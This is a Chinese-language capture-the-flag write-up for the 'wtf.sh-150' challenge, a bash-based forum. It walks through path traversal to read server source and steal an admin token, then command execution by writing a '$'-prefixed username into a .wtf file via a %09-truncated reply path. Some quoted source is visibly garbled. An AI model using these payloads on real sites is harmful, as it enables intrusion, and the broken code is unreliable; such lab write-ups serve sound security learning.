XCTF-wtf.sh-150

wtf.sh-150

  • 题目描述

    没有描述

  • 解题过程

    打开之后是个论坛,有注册和登录功能点

    抓包发现,登陆成功后会设置cookie

    <script>document.cookie = 'USERNAME=111; expires=Fri Jun 12 08:38:28 UTC 2020; path=/';</script>
    <script>document.cookie = 'TOKEN=t55Hum7I9JkaDhm/uaRpsSJCtHfa00kduB69G8EiNhpO4o70O4GLGKcMnE6S/CNyHDNINzCAD36/q7lm0jXE2w==; expires=Fri Jun 12 08:38:28 UTC 2020; path=/';</script>
    

    尝试了修改cookie里的user字段,但是有token绑定,会被检测到

    • 登录

      尝试sql注入 x

    • 注册

      登陆后可以看到自己的id,尝试了sql注入, x

      尝试了覆盖注册, x

      尝试了帖子的url里post参数的注入,x

    • 发布帖子/回复

      ssti,x

    • 用dirsearch扫描了一遍,没什么可利用的信息

    没什么思路,去看了大佬的wp,发现是路径穿越

    访问url/post.wtf?post=../,会返回目录下的文件内容,搜索flag,找到关键代码

    $ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}" 
    $ 	then 
    $ 		local username=$(head -n 1 users/${URL_PARAMS['user']}); 
    $ 		echo "<h3>${username}'s posts:</h3>"; 
    $ 		echo "<ol>"; 
    $ 		get_users_posts "${username}" | while read -r post; do 
    $ 		post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
    $ 		echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>"; 
    $ 	done 
    $ echo "</ol>"; 
                         
    $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] 
    $ 	then 
    $ 		get_flag1 
    $ 	fi 
    $ fi 
    

    分析这段代码:

    • 从上面一段可以知道存在路径users/,因为这是访问的../路径,那么文件路径为../users/,该路径下存储了用户的帖子
    • 从下面一段可以知道,如果cookie的username字段和登录后的用户名都为admin,那么就会拿到flag

    尝试访问../users 。。。里面全是sqlmap的payload

    找到admin,拿到token

    但登录上在profile里只拿到了一半flag = =

    经过上边的尝试,就只有目录遍历这一个漏洞点,猜测需要继续利用这个漏洞,但是找不到利用方法。。。继续参考

    发现需要在../路径下寻找wtf相关的代码进行审计分析,

    max_page_include_depth=64
    page_include_depth=0
    function include_page { 
        # include_page pathname
        local pathname=$1
        local cmd=""
        [[ ${pathname(-4)} = '.wtf' ]];
        local can_execute=$;
        page_include_depth=$(($page_include_depth+1))
        if [[ $page_include_depth -lt $max_page_include_depth ]]
        then
            local line;
            while read -r line; do
                # check if we're in a script line or not ($ at the beginning implies script line)
                # also, our extension needs to be .wtf
                [[ $ = ${line01} && ${can_execute} = 0 ]];
                is_script=$;
                # execute the line.
                if [[ $is_script = 0 ]]
                then
                	# 如果可执行
                	# 添加到cmd中
                    cmd+=$'n'${line#$};
                    # cmd+=('n' + 从文件中读取一行,并删除$) 
                else
                	# 如果不可执行
                	# 如果cmd不为空
                    if [[ -n $cmd ]]
                    then
                    	# 执行cmd
                        eval "$cmd" || log "Error during execution of ${cmd}";
                        cmd= ""
                    fi
                    # 打印不可执行的语句
                    echo $line
                fi
            done  
            ${pathname}
        else
            echo pMax include depth exceeded!p
        fi
    }
    
    function reply {
        local post_id=$1;
        local username=$2;
        local text=$3;
        local hashed=$(hash_username "${username}");
        curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
        next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
        
        next_file=(posts/${post_id}/${next_reply_id});
        # 这里可以进行文件上传,类似php的00截断,但这里用的是%09
        
        echo "${username}" > "${next_file}";
        echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
        echo "${text}" >> "${next_file}";
        # add post this is in reply to to posts cache
        echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
    }
    

    emmmmm,shell脚本看不太懂,花了点时间去看了下语法,写了一点注释

    通过审计,知道两个可利用的点:

    • 符合.wtf文件中符合$开头的语句会被执行
    • 回复帖子时,可以通过构造post_id创建.wtf文件,并且把username写入其中(这里用username的原因是会作为文件开头,可以把$写到开头)

    构造payload:

    • 1

      username=${find,/,-iname,get_flag2}(username中不能有空格)

      访问/reply.wtf?post=../cmd.wtf%09

      访问/cmd.wtf

      看到命令执行的结果:/usr/bin/get_flag2 RE: asdasd

    • 2

      找到flag2文件后,可以直接利用echo "${username}" > "${next_file}";,把文件直接写到cmd.wtf

      username=$/usr/bin/get_flag2

      访问/reply.wtf?post=../cmd.wtf%09

      访问/cmd.wtf

      拿到第二个flag

感觉比前面的题难了不少,综合利用到的知识点多了一些,但同时利用多个点进行攻击的方式很好玩!!!

posted @ 2020-06-11 20:32  R3col  阅读(257)  评论(0编辑  收藏  举报